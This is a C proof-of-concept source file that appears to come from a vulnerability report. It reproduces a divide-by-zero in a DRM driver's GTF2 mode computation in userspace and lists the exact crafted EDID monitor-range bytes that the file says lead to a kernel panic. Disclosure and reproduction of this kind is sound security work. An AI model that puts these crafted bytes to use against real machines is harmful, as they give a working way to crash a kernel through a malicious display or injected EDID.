DF-3682 / gtf_div0.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * Deterministic proof-of-concept for the EDID GTF2 divide-by-zero. * Extracts the *exact* arithmetic of drm_gtf_mode_complex() * (sys/dev/drm/drm_modes.c:366-529) and drm_mode_std()'s LEVEL_GTF2 call * (sys/dev/drm/drm_edid.c:2177-2194), fed purely by crafted-EDID bytes. * * Division by zero occurs at drm_modes.c:484-485: * hblank = total_active_pixels * ideal_duty_cycle / (100000 - ideal_duty_cycle); * when ideal_duty_cycle == 100000. * * Crafted EDID bytes (base block only, no extension needed): * - monitor-range descriptor (DTD at 0x36): r[3]=0xFD (EDID_DETAIL_MONITOR_RANGE), * r[10]=0x02 (secondary GTF flag) -> makes standard_timing_level() = LEVEL_GTF2 * r[12]=0x01 -> drm_gtf2_hbreak() = 2 * r[13]=200 -> GTF_2C = 200 * r[14]=0, r[15]=0 -> GTF_M = 0 * r[16]=128 -> GTF_K = 128 * r[17]=200 -> GTF_2J = 200 * - standard timing entry {209, 0x00} -> 1920x1200@60 (any timing with * hsync > 2 kHz works). */ #include <stdio.h> #include <stdlib.h> static void u8_dummy(int x){(void)x;} /* verbatim macros from sys/dev/drm/drm_modes.c:370-383 */ #define GTF_MARGIN_PERCENTAGE 18 #define GTF_CELL_GRAN 8 #define GTF_MIN_V_PORCH 1 #define V_SYNC_RQD 3 #define H_SYNC_PERCENT 8 #define MIN_VSYNC_PLUS_BP 550 #define GTF_C_PRIME ((((GTF_2C - GTF_2J) * GTF_K / 256) + GTF_2J) / 2) #define GTF_M_PRIME (GTF_K * GTF_M / 256) static void drm_gtf_mode_complex_harness(int hdisplay, int vdisplay, int vrefresh, int GTF_M, int GTF_2C, int GTF_K, int GTF_2J) { unsigned int hdisplay_rnd, vdisplay_rnd, vfieldrate_rqd; unsigned int hfreq_est; unsigned int vtotal_lines, vfieldrate_est, hperiod; unsigned int vfield_rate, vframe_rate; unsigned int total_active_pixels, ideal_duty_cycle; unsigned int hblank, total_pixels, pixel_freq; unsigned int tmp1, tmp2; printf("GTF params from EDID range descriptor: M=%d 2C=%d K=%d 2J=%d\n", GTF_M, GTF_2C, GTF_K, GTF_2J); printf("computed C'=%d M'=%d\n", GTF_C_PRIME, GTF_M_PRIME); /* steps identical to drm_modes.c:407-459 (margins=0, interlace=0) */ hdisplay_rnd = (hdisplay + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN; hdisplay_rnd = hdisplay_rnd * GTF_CELL_GRAN; vdisplay_rnd = vdisplay; vfieldrate_rqd = vrefresh; tmp1 = (1000000 - MIN_VSYNC_PLUS_BP * vfieldrate_rqd) / 500; tmp2 = (vdisplay_rnd + 2 * 0 + GTF_MIN_V_PORCH) * 2 + 0; hfreq_est = (tmp2 * 1000 * vfieldrate_rqd) / tmp1; printf("hfreq_est = %u kHz\n", hfreq_est); vtotal_lines = vdisplay_rnd + 0 + 0 + 4 + GTF_MIN_V_PORCH; /* approx */ vfieldrate_est = hfreq_est / vtotal_lines; hperiod = 1000000 / (vfieldrate_rqd * vtotal_lines); (void)vfieldrate_est; (void)hperiod; vfield_rate = hfreq_est / vtotal_lines; vframe_rate = vfield_rate; (void)vframe_rate; total_active_pixels = hdisplay_rnd; /* drm_modes.c:480-481 */ ideal_duty_cycle = GTF_C_PRIME * 1000 - (GTF_M_PRIME * 1000000 / hfreq_est); printf("ideal_duty_cycle = %u\n", ideal_duty_cycle); if (ideal_duty_cycle == 100000) { printf(">>> DIVISOR (100000 - ideal_duty_cycle) == 0\n"); printf(">>> in the kernel: hblank = total_active_pixels * idc / 0\n"); printf(">>> => x86 #DE divide error in drm_gtf_mode_complex (drm_modes.c:484)\n"); printf(">>> => kernel panic\n"); fflush(stdout); } /* drm_modes.c:484-485 -- exact statement; traps here with SIGFPE */ hblank = total_active_pixels * ideal_duty_cycle / (100000 - ideal_duty_cycle); hblank = (hblank + GTF_CELL_GRAN) / (2 * GTF_CELL_GRAN); total_pixels = total_active_pixels + hblank; pixel_freq = total_pixels * hfreq_est / 1000; (void)pixel_freq; printf("no trap (hblank=%u)\n", hblank); } /* simulate EDID bytes so nothing is compile-time constant */ static volatile unsigned char edid_range_desc[18] = { 0,0,0,0xFD, /* r[3] = EDID_DETAIL_MONITOR_RANGE */ 0x00,0x00,0x00,0x00,0x00,0x00, 0x02, /* r[10] = secondary GTF flag */ 0x00, 0x01, /* r[12] -> hbreak = 2 */ 200, /* r[13] -> GTF_2C */ 0x00, 0x00, /* r[14],r[15] -> GTF_M = 0 */ 128, /* r[16] -> GTF_K */ 200, /* r[17] -> GTF_2J */ }; int main(int argc, char **argv) { int hsize_byte = 209; /* std timing byte 1 */ int vfreq_aspect = 0x00; /* std timing byte 2 */ int hsize = hsize_byte * 8 + 248; /* 1920 */ int vsize = hsize * 10 / 16; /* rev>=3, aspect 00 */ int vrefresh = (vfreq_aspect & 0x3f) + 60; /* 60 */ u8_dummy(argc); drm_gtf_mode_complex_harness(hsize, vsize, vrefresh, (edid_range_desc[15] << 8) | edid_range_desc[14], edid_range_desc[13], edid_range_desc[16], edid_range_desc[17]); return 0; } |